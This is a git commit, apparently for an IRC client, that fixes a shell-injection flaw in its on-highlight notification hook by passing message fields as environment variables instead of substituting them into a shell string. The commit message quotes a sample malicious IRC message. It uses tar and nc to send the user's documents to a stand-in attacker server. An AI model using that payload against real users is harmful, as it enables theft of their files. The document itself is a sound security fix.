commit 4b0e951

Use environment variables for on-highlight

Breaking change!

The old approach of format modifiers is not ideal and usually has
problems with shell quoting, that way anyone is able to get a remote
shell just by sending a malicious message like:

    <evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; "

Given that my on-highlight is:
    notify-send "%b" "<%n> %m"

This would be transformed into:

    notify-send "#cmpwn" "<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; ""

And this way it becomes a huge security vulnerability.

When using environment variables combined with double quotes, shell
escapes everything that appears there and gives the raw result to
command executed.

Though, this requires a little update to users' on-highlight setting:

  %b -> $BUFFER
  %n -> $SENDER
  %m -> $MESSAGE
  %h -> $HERE

 1@@ -4,6 +4,7 @@ import (
 2 	"crypto/tls"
 3 	"fmt"
 4 	"net"
 5+	"os"
 6 	"os/exec"
 7 	"strings"
 8 	"time"
 9@@ -555,14 +556,14 @@ func (app *App) notifyHighlight(buffer, nick, content string) {
10 	if buffer == app.win.CurrentBuffer() {
11 		here = "1"
12 	}
13-	r := strings.NewReplacer(
14-		"%%", "%",
15-		"%b", buffer,
16-		"%h", here,
17-		"%n", nick,
18-		"%m", cleanMessage(content))
19-	command := r.Replace(app.cfg.OnHighlight)
20-	output, err := exec.Command(sh, "-c", command).CombinedOutput()
21+	cmd := exec.Command(sh, "-c", app.cfg.OnHighlight)
22+	cmd.Env = append(os.Environ(),
23+		fmt.Sprintf("BUFFER=%s", buffer),
24+		fmt.Sprintf("HERE=%s", here),
25+		fmt.Sprintf("SENDER=%s", nick),
26+		fmt.Sprintf("MESSAGE=%s", cleanMessage(content)),
27+	)
28+	output, err := cmd.CombinedOutput()
29 	if err != nil {
30 		body := fmt.Sprintf("Failed to invoke on-highlight command: %v. Output: %q", err, string(output))
31 		app.win.AddLine(Home, false, ui.Line{

 1@@ -39,19 +39,17 @@ Some settings are required, the others are optional.
 2 
 3 *on-highlight*
 4 	A command to be executed via _sh_ when you are highlighted.  The following
 5-	format specifiers are expanded with respect to the highlight:
 6+	environment variables are set with repect to the highlight:
 7 
 8-[[ *Format specifier*
 9+[[ *Environment variable*
10 :< *Description*
11-|  %%
12-:  literal %
13-|  %b
14+|  BUFFER
15 :  buffer where the message appeared
16-|  %h
17-:  equals 1 if _%b_ is the current buffer, 0 otherwise
18-|  %m
19+|  HERE
20+:  equals 1 if _BUFFER_ is the current buffer, 0 otherwise
21+|  MESSAGE
22 :  content of the message
23-|  %n
24+|  SENDER
25 :  nickname of the sender
26 
27 *nick-column-width*